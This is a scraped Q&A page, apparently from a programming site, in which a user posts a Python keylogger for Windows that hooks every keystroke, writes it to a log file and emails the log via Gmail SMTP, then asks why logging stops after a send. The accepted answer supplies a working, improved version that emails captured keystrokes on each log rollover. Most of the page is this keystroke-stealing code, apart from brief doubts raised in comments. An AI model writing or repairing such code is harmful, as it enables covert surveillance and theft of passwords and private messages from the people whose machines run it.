archivo de registro y borrado

I am working on simple keylogger -

import logging, sys, smtplib, pyHook, pythoncom, socket
path = r"C:\Users\Karel\Desktop\log.txt"
logging.basicConfig(filename=path, level=logging.DEBUG, format="%(message)s")
server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login("xxx","xxx")

def OnKeyboardEvent(event):

    print "Key: ", chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    checklog()
    return True

def checklog():
    f = open(path, "r")
    x = f.read()
    if len(x) == 1000:
        server.sendmail("xxx@gmail.com", "xxxn@gmail.com", x)
        f.close()
        f = open(path,"w")
        f.close()



hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

It shoud save logs to file and send to email when lenght of file is 1000. Then log is cleared and again when lenght is 1000 its mailed etc. But this code is not working, file is sended at 1000, cleared, but not logging again. Where is problem? Thanks

preguntado el 31 de julio de 12 a las 10:07

La opción logging module handles the file at path. If you open and close the file manually, logging will get confused. -

Don't put email and password in code. I'm curious btw, how valid keyloggers that email their logs are anyway. -

You should change your email password, if the one up before was your real one. -

Use the rollover functionality(RotatingFileHandler) instead: stackoverflow.com/questions/6167587/…. -

And is there any other way how to fix this without RotatingFileHandler? -

1 Respuestas

Something along the lines of the following. Though, think hard about why you want a key logger at all. This is untested.

from functools import partial
import logging
import logging.handlers
import smtplib
import pyHook
import pythoncom


class EmailingRotatingFileHandler(logging.handlers.RotatingFileHandler):
    def __init__(self, smtp_credentials, **kargs):
        self.smtp_credentials = smtp_credentials
        super(EmailingRotatingFileHandler, self).__init__(**kargs)

    def smtp_connect(self):
        server = smtplib.SMTP("smtp.gmail.com:587")
        server.starttls()
        server.login("", "")
        return server

    def doRollover(self):
        ## Close the stream
        if self.stream:
            self.stream.close()
            self.stream = None

        ## Email the file
        server = self.smtp_connect()

        with open(self.baseFilename, 'r') as logfile:
            contents = logfile.read()
            server.sendmail(self.smtp_credentials[0], self.smtp_credentials[1], contents)

        server.quit()

        ## Proceed with the rollover
        super(EmailingRotatingFileHandler, self).doRollover()


def OnKeyboardEvent(logger, event):
    print "Key: ", chr(event.Ascii)
    logger.info(chr(event.Ascii))
    return True


def main():
    path = r"C:\Users\Karel\Desktop\log.txt"
    smtp_credentials = ("", "")

    ## Set up the logging
    logger = logging.getLogger()
    logger.setLevel(logging.INFO)
    log_handler = EmailingRotatingFileHandler(smtp_credentials, path, maxBytes=1024)
    formatter = logging.Formatter('%(message)s')
    log_handler.setFormatter(formatter)
    logger.addHandler(log_handler)

    ## Configure the event handlers
    hm = pyHook.HookManager()
    hm.KeyDown = partial(OnKeyboardEvent, logger)
    hm.HookKeyboard()
    pythoncom.PumpMessages()


if __name__ == '__main__':
    main()

Respondido 31 Jul 12, 11:07

Rob, please remove the SMTP login credentials from your answer. - user707650

hmm, AttributeError: 'module' object has no attribute 'handlers'. This is weird. - user1505497

Edited. added import logging.handlers - Rob Cowie

No es la respuesta que estás buscando? Examinar otras preguntas etiquetadas or haz tu propia pregunta.